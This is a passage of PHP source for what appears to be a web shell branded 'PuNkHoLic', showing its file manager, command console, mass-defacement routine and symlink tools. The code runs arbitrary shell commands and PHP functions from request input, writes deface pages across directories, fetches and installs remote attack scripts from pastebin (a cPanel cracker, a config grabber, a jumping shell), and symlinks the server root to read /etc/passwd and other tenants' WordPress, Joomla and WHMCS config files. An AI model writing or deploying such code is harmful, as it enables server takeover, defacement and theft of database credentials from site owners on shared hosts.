695echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
696.'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
697$l = $l?0:1;
698}
699echo '<tr><td colspan=5>
700<input type=hidden name=a value=\'FilesMan\'>
701<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
702<input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
703<select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>';
704if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){echo '<option value=\'paste\'>Paste</option>'; }
705echo '</select> <input type="submit" value=">>"></td><td colspan="2" align="right" width="1"><input name="def" id="def" value="index.php" size="10"/> <input type="button" onclick="g(\'FilesMan\',\''.htmlspecialchars($GLOBALS['cwd']).'\',\'deface\',document.getElementById(\'def\').value)" value="Add your Deface"></td></tr>
706</form></table></div>';
707printFooter();
708}
709function actionStringTools() {
710if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
711if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
712if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
713if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
714if(isset($_POST['ajax'])) {
715$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
716ob_start();
717if(function_exists($_POST['p1']))
718echo $_POST['p1']($_POST['p2']);
719$temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
720echo strlen($temp), "\n", $temp;
721exit;
722}
723printHeader();
724echo '<h1>String conversions</h1><div class=content>';
725$stringTools = array(
726'Base64 encode' => 'base64_encode',
727'Base64 decode' => 'base64_decode',
728'Url encode' => 'urlencode',
729'Url decode' => 'urldecode',
730'Full urlencode' => 'full_urlencode',
731'md5 hash' => 'md5',
732'sha1 hash' => 'sha1',
733'crypt' => 'crypt',
734'CRC32' => 'crc32',
735'ASCII to HEX' => 'ascii2hex',
736'HEX to ASCII' => 'hex2ascii',
737'HEX to DEC' => 'hexdec',
738'HEX to BIN' => 'hex2bin',
739'DEC to HEX' => 'dechex',
740'DEC to BIN' => 'decbin',
741'BIN to HEX' => 'bin2hex',
742'BIN to DEC' => 'bindec',
743'String to lower case' => 'strtolower',
744'String to upper case' => 'strtoupper',
745'Htmlspecialchars' => 'htmlspecialchars',
746'String length' => 'strlen',
747);
748if(empty($_POST['ajax'])&&!empty($_POST['p1']))
749$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
750echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
751foreach($stringTools as $k => $v)
752echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
753echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".htmlspecialchars(@$_POST['p2'])."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
754if(!empty($_POST['p1'])) {
755if(function_exists($_POST['p1']))
756echo htmlspecialchars($_POST['p1']($_POST['p2']));
757}
758echo"</pre></div>";
759printFooter();
760}
761function actionFilesTools() {
762if( isset($_POST['p1']) )
763$_POST['p1'] = urldecode($_POST['p1']);
764if(@$_POST['p2']=='download') {
765if(is_file($_POST['p1']) && is_readable($_POST['p1'])) {
766ob_start("ob_gzhandler", 4096);
767header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
768if (function_exists("mime_content_type")) {
769$type = @mime_content_type($_POST['p1']);
770header("Content-Type: ".$type);
771}
772$fp = @fopen($_POST['p1'], "r");
773if($fp) {
774while(!@feof($fp))
775echo @fread($fp, 1024);
776fclose($fp);
777}
778} elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) {
779}
780exit;
781}
782if( @$_POST['p2'] == 'mkfile' ) {
783if(!file_exists($_POST['p1'])) {
784$fp = @fopen($_POST['p1'], 'w');
785if($fp) {
786$_POST['p2'] = "edit";
787fclose($fp);
788}
789}
790}
791printHeader();
792echo '<h1>File tools</h1><div class=content>';
793if( !file_exists(@$_POST['p1']) ) {
794echo 'File not exists';
795printFooter();
796return;
797}
798$uid = @posix_getpwuid(@fileowner($_POST['p1']));
799$gid = @posix_getgrgid(@fileowner($_POST['p1']));
800echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
801echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
802if( empty($_POST['p2']) )
803$_POST['p2'] = 'view';
804if( is_file($_POST['p1']) )
805$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
806else
807$m = array('Chmod', 'Rename', 'Touch');
808foreach($m as $v)
809echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
810echo '<br><br>';
811switch($_POST['p2']) {
812case 'view':
813echo '<pre class=ml1>';
814$fp = @fopen($_POST['p1'], 'r');
815if($fp) {
816while( !@feof($fp) )
817echo htmlspecialchars(@fread($fp, 1024));
818@fclose($fp);
819}
820echo '</pre>';
821break;
822case 'highlight':
823if( is_readable($_POST['p1']) ) {
824echo '<div class=ml1 style="background-color: black;color:black;">';
825$code = highlight_file($_POST['p1'],true);
826echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
827}
828break;
829case 'chmod':
830if( !empty($_POST['p3']) ) {
831$perms = 0;
832for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
833$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
834if(!@chmod($_POST['p1'], $perms))
835echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
836else
837die('<script>g(null,null,null,null,"")</script>');
838}
839echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
840break;
841case 'edit':
842if( !is_writable($_POST['p1'])) {
843echo 'File isn\'t writeable';
844break;
845}
846if( !empty($_POST['p3']) ) {
847@file_put_contents($_POST['p1'],$_POST['p3']);
848echo 'Saved!<br><script>document.mf.p3.value="";</script>';
849}
850echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
851$fp = @fopen($_POST['p1'], 'r');
852if($fp) {
853while( !@feof($fp) )
854echo htmlspecialchars(@fread($fp, 1024));
855@fclose($fp);
856}
857echo '</textarea><input type=submit value=">>"></form>';
858break;
859case 'hexdump':
860$c = @file_get_contents($_POST['p1']);
861$n = 0;
862$h = array('00000000<br>','','');
863$len = strlen($c);
864for ($i=0; $i<$len; ++$i) {
865$h[1] .= sprintf('%02X',ord($c[$i])).' ';
866switch ( ord($c[$i]) ) {
867case 0:$h[2] .= ' '; break;
868case 9:$h[2] .= ' '; break;
869case 10: $h[2] .= ' '; break;
870case 13: $h[2] .= ' '; break;
871default: $h[2] .= $c[$i]; break;
872}
873$n++;
874if ($n == 32) {
875$n = 0;
876if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
877$h[1] .= '<br>';
878$h[2] .= "\n";
879}
880 }
881echo '<table cellspacing=1 cellpadding=5 bgcolor=#red><tr><td bgcolor=red><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#red><pre>'.$h[1].'</pre></td><td bgcolor=#red><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
882break;
883case 'rename':
884if( !empty($_POST['p3']) ) {
885if(!@rename($_POST['p1'], $_POST['p3']))
886echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
887else
888die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
889}
890echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
891break;
892case 'touch':
893if( !empty($_POST['p3']) ) {
894$time = strtotime($_POST['p3']);
895if($time) {
896if(@touch($_POST['p1'],$time,$time))
897die('<script>g(null,null,null,null,"")</script>');
898else {
899echo 'Fail!<script>document.mf.p3.value="";</script>';
900}
901} else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
902}
903echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
904break;
905case 'mkfile':
906break;
907}
908echo '</div>';
909printFooter();
910}
911function actionDefacer() {
912printHeader();
913echo "<h1>Recursive Mass Defacer</h1><div class=content>";
914?>
915<form ENCTYPE="multipart/form-data" action="<?$_SERVER['PHP_SELF']?>" method=POST onSubmit="g(null,null,this.path.value,this.file.value,this.Contents.value);return false;">
916<p align="Left">Folder: <input type=text name=path size=60 value="<?=getcwd(); ?>">
917<br>file name : <input type=text name=file size=20 value="index.htm">
918<br>Text Content : <input type=text name=Contents size=20 value="Hacked by PuNkHoLic ">
919<br><input type=submit value="Update"></p></form>
920<?php
921if ($_POST['a'] == 'Defacer') {
922$mainpath = $_POST[p1];
923$file = $_POST[p2];
924$txtContents = $_POST[p3];
925echo "-----------------------------------------------<br>
926[+] Recursive Mass defacer<br>
927-----------------------------------------------<br><br> ";
928$dir = opendir($mainpath);
929while ($row = readdir($dir)) {
930$start = @fopen("$row/$file", "w+");
931$code = $txtContents;
932$finish = @fwrite($start, $code);
933if ($finish) {
934echo "http://$row/$file<br>";
935}
936if (strncasecmp(PHP_OS, 'WIN', 3) == 0) {
937exec("for /r %cd% %i in (.) do @copy $file %i 1>NUL");
938} else {
939system("find $PWM -type d -exec cp $file {} \;");
940}
941}
942echo "-----------------------------------------------<br><br>[+] Script by PuNkHoLic [+]";
943}
944echo '</div>';
945printFooter();
946}
947function actionConsole() {
948if(isset($_POST['ajax'])) {
949$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
950ob_start();
951echo "document.cf.cmd.value='';\n";
952$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\\'\0"));
953if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)){
954if(@chdir($match[1])) {
955$GLOBALS['cwd'] = @getcwd();
956echo "document.mf.c.value='".$GLOBALS['cwd']."';";
957}
958}
959echo "document.cf.output.value+='".$temp."';";
960echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
961$temp = ob_get_clean();
962echo strlen($temp), "\n", $temp;
963exit;
964}
965printHeader();
966echo '<script>
967if(window.Event) window.captureEvents(Event.KEYDOWN);
968var cmds = new Array("");
969var cur = 0;
970function kp(e) {
971var n = (window.Event) ? e.which : e.keyCode;
972if(n == 38) {
973cur--;
974if(cur>=0)
975document.cf.cmd.value = cmds[cur];
976else
977cur++;
978} else if(n == 40) {
979cur++;
980if(cur < cmds.length)
981document.cf.cmd.value = cmds[cur];
982else
983cur--;
984}
985}
986function add(cmd) {
987cmds.pop();
988cmds.push(cmd);
989cmds.push("");
990cur = cmds.length-1;
991}
992</script>';
993echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
994foreach($GLOBALS['aliases'] as $n => $v) {
995if($v == '') {
996echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
997continue;
998}
999echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
1000}
1001if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1002$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
1003echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;" readonly>';
1004if(!empty($_POST['p1'])) {
1005echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1']));
1006}
1007echo '</textarea><input type=text name=cmd style="border-top:1;width:100%;" onkeydown="kp(event);">';
1008echo '</form></div><script>document.cf.cmd.focus();</script>';
1009printFooter();
1010}
1011function actionLogout() {
1012unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
1013echo '<title>Get out Now</title><body bgcolor=#000000><center><img src="http://i.imgur.com/t54UCIw.jpgl"><br>
1014<style type="text/css">body, a:hover {cursor: url(http://cur.cursors-4u.net/cursors/cur-11/cur1054.cur), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2012/02/11/chrome-pointer.html" target="_blank" title="Chrome Pointer"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Chrome Pointer" style="position:absolute; top: 0px; right: 0px;" /></a>
1015<span style="color:red;font: 20pt audiowide;">You are out now :D<br>www.facebook.com/PuNkHoLic</h2></span></center></body>';
1016}
1017///my editing start here for tools
1018function download_remote_file($file_url, $save_to)
1019{
1020$content = file_get_contents($file_url);
1021file_put_contents($save_to, $content);
1022}
1023if (isset($_POST['cp'])) {
1024download_remote_file('http://pastebin.com/raw/2Ntdj7ju', realpath("./") . '/cp.php');
1025header("location:cp.php");
1026}
1027if (isset($_POST['SymlinkbySmevk'])) {
1028download_remote_file('http://pastebin.com/raw.php?i=PhSk7Kvq', realpath("./") . '/SymlinkbySmevk.php');
1029header("location:SymlinkbySmevk.php");
1030}
1031if (isset($_POST['SymlinkbyCheetah'])) {
1032download_remote_file('http://pastebin.com/raw.php?i=EXejgAMv', realpath("./") . '/SymlinkbyCheetah.php');
1033header("location:SymlinkbyCheetah.php");
1034}
1035if (isset($_POST['SymlinkbyTorjan'])) {
1036download_remote_file('http://pastebin.com/raw.php?i=YUg4pXe2', realpath("./") . '/sym.py');
1037$url = 'http://' . $_SERVER['SERVER_NAME'] . dirname($_SERVER['SCRIPT_NAME']) . '/trjnx/';
1038header('location: '.$url);
1039system('python sym.py');
1040}
1041if (isset($_POST['jump'])) {
1042download_remote_file('http://pastebin.com/raw/MxtcT6nX', realpath("./") . '/jump.php');
1043header("location:jump.php");
1044}
1045if (isset($_POST['adminer'])) {
1046system('wget https://www.adminer.org/static/download/4.2.5/adminer-4.2.5-mysql-en.php adminer.php');
1047header("location:adminer-4.2.5-mysql-en.php");
1048}
1049if (isset($_POST['cg'])) {
1050download_remote_file('http://pastebin.com/raw/WSgkDHSN', realpath("./") . '/cg.php');
1051header("location:cg.php");
1052}
1053function actionImportScripts() {
1054printHeader();
1055echo '<table border="1px" align="center" id ="PuNkHoLictools" cellpadding="10" border-color"green"><tr><td>Just click and get the Script :).</td><tr><td>
1056<form action ="" method="post">
1057<input type = "submit" name="cp" value ="Cpanel Cracker"></td></tr>';
1058echo '<tr><td><form action ="" method="post"><input type = "submit" name="SymlinkbyTorjan"value ="Symlink Python Script By Torjan"></a></td></tr>';
1059echo '<td><form action ="" method="post"><input type = "submit" name="SymlinkbySmevk" value ="Symlink Script By SmEvK_PaThAn"></a></td></tr>';
1060echo '<tr><td><form action ="" method="post"><input type = "submit" name="SymlinkbyCheetah" value ="Symlink By Kashmiri Cheetah"></a></td></tr>';
1061echo '<tr><td><form action ="" method="post"><input type = "submit" name="jump" value ="Jumping Shell"></a></td></tr>';
1062echo '<tr><td><form action ="" method="post"><input type = "submit" name="adminer"value ="Adminer"></a></td></tr>';
1063echo '<tr><td><form action ="" method="post"><input type = "submit" name="cg"value ="Config Grabber"></a></td></tr>';
1064printFooter();
1065}
1066function actionShared() {
1067printHeader();
1068$file = @implode(@file("/etc/named.conf"));
1069if (!$file) {
1070die("# can't ReaD -> [ /etc/named.conf ]");
1071}
1072preg_match_all("#named/(.*?).db#", $file, $r);
1073$domains = array_unique($r[1]);
1074{
1075foreach ($domains as $domain) {
1076$user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
1077$array= "http://$domain " . $user['name'] . "<br>";
1078$lol= '' . get_current_user();
1079if (strpos($array, "$lol") !== false) {
1080$shared = str_replace(array(" $lol"), "", $array);
1081echo "<center>$shared";
1082}
1083}
1084}
1085printFooter();
1086}
1087function actionSymlink() {
1088printHeader();
1089echo '<h1>Symlink</h1>';
1090$furl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
1091$expld = explode('/',$furl );
1092$burl =str_replace(end($expld),'',$furl);
1093echo '<div class="content"><center>
1094<h3>[ <a href="#" onclick="g(\'symlink\',null,\'website\',null)">Domains</a> ] -
1095[ <a href="#" onclick="g(\'symlink\',null,\'whole\',null)">Whole Server Symlink<sup style="color:red;text-decoration:blink;"></sup></a> ] -
1096[ <a href="#" onclick="g(\'symlink\',null,\'config\',null)">Config files symlink</a> ]</h3></center>';
1097if(isset($_POST['p1']) && $_POST['p1']=='website')
1098{
1099echo "<center>";
1100$d0mains = @file("/etc/named.conf");
1101if(!$d0mains){
1102echo "<pre class=ml1 style='margin-top:5px'>Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
1103} else {
1104echo "<table align=center class='main' border=0 ><tr><th> Domains </th></tr>";
1105$unk = array();
1106foreach($d0mains as $d0main){
1107if(@eregi("zone",$d0main)){
1108preg_match_all('#zone "(.*)"#', $d0main, $domains);
1109flush();
1110if(strlen(trim($domains[1][0])) > 2){
1111$unk[] = $domains[1][0];
1112flush();
1113}
1114}
1115}
1116$count=1;
1117$unk = array_unique($unk);
1118$l=0;
1119foreach($unk as $d){
1120$user = posix_getpwuid(@fileowner("/etc/valiases/".$d));
1121echo "<tr".($l?' class=l1':'')."><td><a href=http://".$d."/>".$d."</a></td><td>".$user['name']."</td></tr>";
1122flush();
1123$count++;
1124$l=$l?0:1;
1125}
1126echo "</table>";
1127}
1128echo "</center>";
1129}
1130if(isset($_POST['p1']) && $_POST['p1']=='whole')
1131{
1132echo "<center>";
1133@mkdir('PCAPuNkHoLic_sym',0777);
1134$hdt= "Options all\nDirectoryIndex Sux.html\nAddType text/plain .php\nAddHandler server-parsed .php\nAddType text/plain .html\nAddHandler txt .html\nRequire None\nSatisfy Any";
1135$hfp =@fopen ('PCAPuNkHoLic_sym/.htaccess','w');
1136fwrite($hfp ,$hdt);
1137if(function_exists('symlink')) {
1138@symlink('/','PCAPuNkHoLic_sym/root');
1139}
1140$d0mains = @file('/etc/named.conf');
1141if(!$d0mains) {
1142echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
1143echo "<table align='center' width='40%' class='main'><tr><th> Count </th><th> Domains </th><th> User </th><th> Symlink </th></tr>";
1144$dt = file('/etc/passwd');
1145$l=0;
1146foreach($dt as $d) {
1147$r = explode(':',$d);
1148if(strpos($r[5],'home')) {
1149echo "<tr".($l?' class=l1':'')."><td>".$j."</td><td>---</td><td>".$r[0]."</td><td><a href='PCAPuNkHoLic_sym/root".$r[5]."/public_html' target='_blank'>symlink</a></td></tr>";
1150$l=$l?0:1;
1151$j++;
1152}
1153}
1154echo '</table>';
1155} else {
1156echo "<table align='center' width='40%' class='main'><tr><th> Count </th><th> Domains </th><th> User </th><th> Symlink </th></tr>";
1157$count=1;
1158$mck = array();
1159foreach($d0mains as $d0main){
1160if(@eregi('zone',$d0main)){
1161preg_match_all('#zone "(.*)"#',$d0main,$domain);
1162flush();
1163if(strlen(trim($domain[1][0])) >2){
1164$mck[] = $domain[1][0];
1165}
1166}
1167}
1168$mck = array_unique($mck);
1169$usr = array();
1170$dmn = array();
1171foreach($mck as $o) {
1172$infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
1173$usr[] = $infos['name'];
1174$dmn[] = $o;
1175}
1176array_multisort($usr,$dmn);
1177$dt = file('/etc/passwd');
1178$passwd = array();
1179foreach($dt as $d) {
1180$r = explode(':',$d);
1181if(strpos($r[5],'home')) {
1182$passwd[$r[0]] = $r[5];
1183}
1184}
1185$l=0;
1186$j=1;
1187foreach($usr as $r) {
1188echo "<tr".($l?' class=l1':'')."><td>".$count++."</td>
1189<td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td>
1190<td>'.$r."</td>
1191<td><a href='PCAPuNkHoLic_sym/root".$passwd[$r]."/public_html' target='_blank'>symlink</a></td></tr>";
1192flush();
1193$l=$l?0:1;
1194$j++;
1195}
1196echo '</table>';
1197}
1198echo "</center>";
1199}
1200if(isset($_POST['p1']) && $_POST['p1']=='config')
1201{
1202echo "<center>";
1203@mkdir('PCAPuNkHoLic_sym',0777);
1204$hdt = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \nAddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
1205$hfp = @fopen ('PCAPuNkHoLic_sym/.htaccess','w');
1206@fwrite($hfp ,$hdt);
1207if(function_exists('symlink')) {
1208@symlink('/','PCAPuNkHoLic_sym/root');
1209}
1210$d0mains=@file('/etc/named.conf');
1211if(!$d0mains) {
1212echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
1213}else {
1214echo "<table align='center' width='40%' class='main' ><tr><th> Count </th><th> Domain </th<th> User </th>><th> Script </th></tr>";
1215$count = 1;
1216$l=0;
1217foreach($d0mains as $d0main){
1218if(@eregi('zone',$d0main)){
1219preg_match_all('#zone "(.*)"#',$d0main,$domain);
1220flush();
1221if(strlen(trim($domain[1][0]))>2){
1222$user = posix_getpwuid(@fileowner('/etc/valiases/'.$domain[1][0]));
1223$c1 = $burl.'/PCAPuNkHoLic_sym/root/home/'.$user['name'].'/public_html/wp-config.php';
1224$ch01 = get_headers($c1);
1225$cf01 = $ch01[0];
1226$c2 = $burl.'/PCAPuNkHoLic_sym/root/home/'.$user['name'].'/public_html/blog/wp-config.php';
1227$ch02 = get_headers($c2);
1228$cf02 = $ch02[0];
1229$c3 = $burl.'/PCAPuNkHoLic_sym/root/home/'.$user['name'].'/public_html/configuration.php';
1230$ch03 = get_headers($c3);
1231$cf03 = $ch03[0];
1232$c4 = $burl.'/PCAPuNkHoLic_sym/root/home/'.$user['name'].'/public_html/joomla/configuration.php';
1233$ch04 = get_headers($c4);
1234$cf04 = $ch04[0];
1235$c5 = $burl.'/PCAPuNkHoLic_sym/root/home/'.$user['name'].'/public_html/includes/config.php';
1236$ch05 = get_headers($c5);
1237$cf05 = $ch05[0];
1238$c6 = $burl.'/PCAPuNkHoLic_sym/root/home/'.$user['name'].'/public_html/vb/includes/config.php';
1239$ch06 = get_headers($c6);
1240$cf06 = $ch06[0];
1241$c7 = $burl.'/PCAPuNkHoLic_sym/root/home/'.$user['name'].'/public_html/forum/includes/config.php';
1242$ch07 = get_headers($c7);
1243$cf07 = $ch07[0];
1244$c8 = $burl.'/PCAPuNkHoLic_sym/root/home/'.$user['name'].'public_html/clients/configuration.php';
1245$ch08 = get_headers($c8);
1246$cf08 = $ch08[0];
1247$c9 = $burl.'/PCAPuNkHoLic_sym/root/home/'.$user['name'].'/public_html/support/configuration.php';
1248$ch09 = get_headers($c9);
1249$cf09 = $ch09[0];
1250$c10 = $burl.'/PCAPuNkHoLic_sym/root/home/'.$user['name'].'/public_html/client/configuration.php';
1251$ch10 = get_headers($c10);
1252$cf10 = $ch10[0];
1253$c11 = $burl.'/PCAPuNkHoLic_sym/root/home/'.$user['name'].'/public_html/submitticket.php';
1254$ch11 = get_headers($c11);
1255$cf11 = $ch11[0];
1256$c12 = $burl.'/PCAPuNkHoLic_sym/root/home/'.$user['name'].'/public_html/client/configuration.php';
1257$ch12 = get_headers($c12);
1258$cf12 = $ch12[0];
1259$c13 = $burl.'/PCAPuNkHoLic_sym/root/home/'.$user['name'].'/public_html/includes/configure.php';
1260$ch13 = get_headers($c13);
1261$cf13 = $ch13[0];
1262$c14 = $burl.'/PCAPuNkHoLic_sym/root/home/'.$user['name'].'/public_html/include/app_config.php';
1263$ch14 = get_headers($c14);
1264$cf14 = $ch14[0];
1265$c15 = $burl.'/PCAPuNkHoLic_sym/root/home/'.$user['name'].'/public_html/sites/default/settings.php';
1266$ch15 = get_headers($c15);
1267$cf15 = $ch15[0];
1268$out = ' ';
1269if(strpos($cf01,'200') == true){ $out = "<a href='".$c1."' target='_blank'>Wordpress</a>"; }
1270elseif(strpos($cf02,'200') == true){ $out = "<a href='".$c2."' target='_blank'>Wordpress</a>"; }
1271elseif(strpos($cf03,'200') == true && strpos($cf11,'200') == true) { $out = " <a href='".$c11."' target='_blank'>WHMCS</a>"; }
1272elseif(strpos($cf09,'200') == true){ $out = " <a href='".$c9."' target='_blank'>WHMCS</a>";}
1273elseif(strpos($cf10,'200') == true){ $out = " <a href='".$c10."' target='_blank'>WHMCS</a>"; }
1274elseif(strpos($cf03,'200') == true){ $out = " <a href='".$c3."' target='_blank'>Joomla</a>"; }
1275elseif(strpos($cf04,'200') == true){ $out = " <a href='".$c4."' target='_blank'>Joomla</a>"; }
1276elseif(strpos($cf05,'200') == true){ $out = " <a href='".$c5."' target='_blank'>vBulletin</a>";}
1277elseif(strpos($cf06,'200') == true){ $out = " <a href='".$c6."' target='_blank'>vBulletin</a>";}
1278elseif(strpos($cf07,'200') == true){ $out = " <a href='".$c7."' target='_blank'>vBulletin</a>";}
1279elseif(strpos($cf08,'200') == true){ $out = " <a href='".$c7."' target='_blank'>Client Area</a>";}
1280elseif(strpos($cf12,'200') == true){ $out = " <a href='".$c7."' target='_blank'>Client Area</a>";}
1281elseif(strpos($cf13,'200') == true){ $out = " <a href='".$c7."' target='_blank'>osCommerce/Zen Cart</a>";}
1282elseif(strpos($cf14,'200') == true){ $out = " <a href='".$c7."' target='_blank'>Magento</a>";}
1283elseif(strpos($cf15,'200') == true){ $out = " <a href='".$c7."' target='_blank'>Drupal</a>";}
1284else {
1285continue;
1286}
1287echo '<tr'.($l?' class=l1':'').'><td>'.$count++.'</td><td><a href=http://www.'.$domain[1][0].'/>'.$domain[1][0].'</a></td><td>'.$user['name'].'</td><td>'.$out.'</td></tr>';
1288flush();
1289$l=$l?0:1;
1290}
1291}
1292}
1293echo "</table>";
1294}
1295echo "</center>";
1296}
1297echo "</div>";
1298printFooter();
1299}
1300 function actionJumping()
1301{printHeader();
1302echo '<html><head><title>'.getenv("HTTP_HOST").' - Jumping Server</title></head><body>';
1303($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<font size="4" color="#000000" face="Calibri"><b>Error: Safe_mode = On</b></font>');
1304set_time_limit(0);@$passwd = fopen('/etc/passwd','r');if (!$passwd) { die('<font size="4" color="#000000" face="Calibri"><b>[-] Error : Coudn`t Read /etc/passwd</b></font>'); }
1305$pub = array();$users = array();$conf = array();$i = 0;while(!feof($passwd)){$str = fgets($passwd);if ($i > 100){ $pos = strpos($str,':');$username = substr($str,0,$pos);$dirz = '/home/'.$username.'/public_html/';if (($username != '')) { if (is_readable($dirz)) { array_push($users,$username);array_push($pub,$dirz); }}}$i++;}
1306echo '<font color=aqua> [-]==================[ START ]==================[-]<br></font>';
1307foreach ($users as $user){echo "<font color=#a3e956> [+] /home/$user/public_html/</font><br/>";} echo "\n <font color=aqua><br>[-]==================[ FINISH ]==================[-] <br></font>\n"; echo '</body></html>';
1308printFooter();
1309}
1310function actionSubdomain() {
1311printHeader();
1312error_reporting(0);
1313$user = get_current_user();
1314$open = opendir('/home/' . $user . '/access-logs/');
1315while ($dir = readdir($open)) {
1316$totalDoamin[] = $dir;
1317}
1318closedir($open);
1319$total = count($totalDoamin);
1320$domain = $total - 2;
